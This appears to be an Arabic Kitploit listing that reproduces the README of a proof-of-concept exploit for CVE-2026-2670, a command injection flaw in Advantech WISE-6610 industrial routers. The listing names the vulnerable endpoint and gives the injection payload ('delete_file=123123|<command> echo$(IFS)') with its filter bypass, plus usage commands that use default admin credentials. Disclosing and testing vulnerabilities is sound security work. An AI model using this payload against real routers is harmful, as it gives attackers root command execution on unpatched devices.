Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
exploit-CVE-2026-2670 — إثبات مفهوم لاستغلال CVE-2026-2670، وهي ثغرة حقن أوامر في أجهزة التوجيه Advantech WISE-6610، مما تتيح للمهاجمين المصادق عليهم تنفيذ أوامر عشوائية بصلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/ali-py3/exploit-cve-2026-2670
أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubali-py3/exploit-cve-2026-2670

exploit-CVE-2026-2670

إثبات مفهوم لاستغلال CVE-2026-2670، وهي ثغرة حقن أوامر في أجهزة التوجيه Advantech WISE-6610، مما تتيح للمهاجمين المصادق عليهم تنفيذ أوامر عشوائية بصلاحيات الجذر.

عرض المستودع
منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

exploit-CVE-2026-2670

CVE-2026-2670 – Advantech WISE-6610 إثبات المفهوم لحقن الأوامر

إثبات مفهوم لاستغلال ثغرة حقن الأوامر في جهاز التوجيه الخلوي الصناعي Advantech WISE-6610.

توجد الثغرة في نقطة النهاية /cgi-bin/luci/admin/openvpn_apply وتسمح لـمهاجم مصادق بتنفيذ أوامر نظام تعسفية.


📌 نظرة عامة على الثغرة

لا تقوم واجهة الويب الخاصة بـ WISE-6610 بتعقيم المعامل delete_file بشكل صحيح عند معالجة عمليات حذف تكوين OpenVPN.

يمكن للمهاجم الذي يمتلك بيانات اعتماد صالحة حقن أوامر shell باستخدام أنبوب (|) متبوعًا بأمر وتسلسل echo$(IFS) للإنهاء لتجاوز تصفية الإدخال.

يتم تنفيذ الأوامر المحقونة بصلاحيات الجذر (root).

  • معرف CVE: CVE-2026-2670
  • البائع: Advantech
  • المنتج: WISE-6610
  • الإصدار المُصلح: غير متوفر وقت إصدار إثبات المفهوم

⚙️ المتطلبات

  • Python 3.6+
  • مكتبة requests

تثبيت التبعيات:

root@kitploit:~
pip install requests

🔧 الخيارات

الخيار الوصف

root@kitploit:~
--target	عنوان URL الأساسي للجهاز (مثال: http://192.168.1.100:8444)
--cmd	الأمر المراد تنفيذه. يجب كتابة المخرجات إلى ملف داخل جذر الويب (مثال: id > output.txt)
--output	مسار الويب لملف المخرجات (مثال: /output.txt). يجب أن يطابق اسم الملف المستخدم في --cmd
--cookie	(اختياري) قيمة كوكي جلسة sysauth موجودة
--username	(اختياري) اسم المستخدم لتسجيل الدخول
--password	(اختياري) كلمة المرور لتسجيل الدخول
--delay	ثواني الانتظار قبل استرجاع المخرجات (الافتراضي: 2)
--debug	تفعيل تسجيل تفصيلي للطلبات والاستجابات

🚀 الاستخدام

يدعم السكربت طريقتين للمصادقة:

توفير كوكي جلسة sysauth موجودة

تسجيل الدخول باستخدام اسم مستخدم وكلمة مرور

الصيغة الأساسية

root@kitploit:~
python3 exploit.py --target <URL> --cmd <COMMAND> --output <OUTPUT_PATH> \
[--cookie <SYSCOOKIE> | --username <USER> --password <PASS>] \
[--delay <SECONDS>] [--debug]

🧪 أمثلة

1️⃣ استخدام كوكي مُصادق مسبقًا

root@kitploit:~
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt

2️⃣ تسجيل الدخول ببيانات الاعتماد

root@kitploit:~
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt

3️⃣ مع مخرجات التصحيح

root@kitploit:~
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug

🔍 كيف يعمل

1. استرجاع Nonce

root@kitploit:~
يتم إرسال طلب GET إلى /cgi-bin/luci/ للحصول على كوكي luci_nonce المطلوبة للمصادقة.

2. المصادقة

root@kitploit:~
إذا تم توفير بيانات الاعتماد، يرسل السكربت طلب POST إلى /cgi-bin/luci/ مع luci_username و luci_password للحصول على كوكي sysauth.

إذا تم توفير كوكي صالح عبر --cookie، يتم تخطي هذه الخطوة.

3. حقن الأوامر

root@kitploit:~
يتم إرسال طلب POST إلى:

/cgi-bin/luci/admin/openvpn_apply

مع المعاملات التالية:

act=delete
delete_file=123123|<command> echo$(IFS)
openvpn_id=1

يساعد تسلسل echo$(IFS) في إنهاء الأمر المحقون وتجاوز عوامل تصفية الإدخال.

4. استرجاع المخرجات

root@kitploit:~
بعد تأخير قصير، يحاول السكربت استرجاع الملف المُنشأ من مسار --output المحدد.

⚠️ إخلاء المسؤولية

تم توفير هذه الأداة لأغراض تعليمية وللاختبارات الأمنية المصرح بها فقط.

الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.

لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.

تنزيل الأداة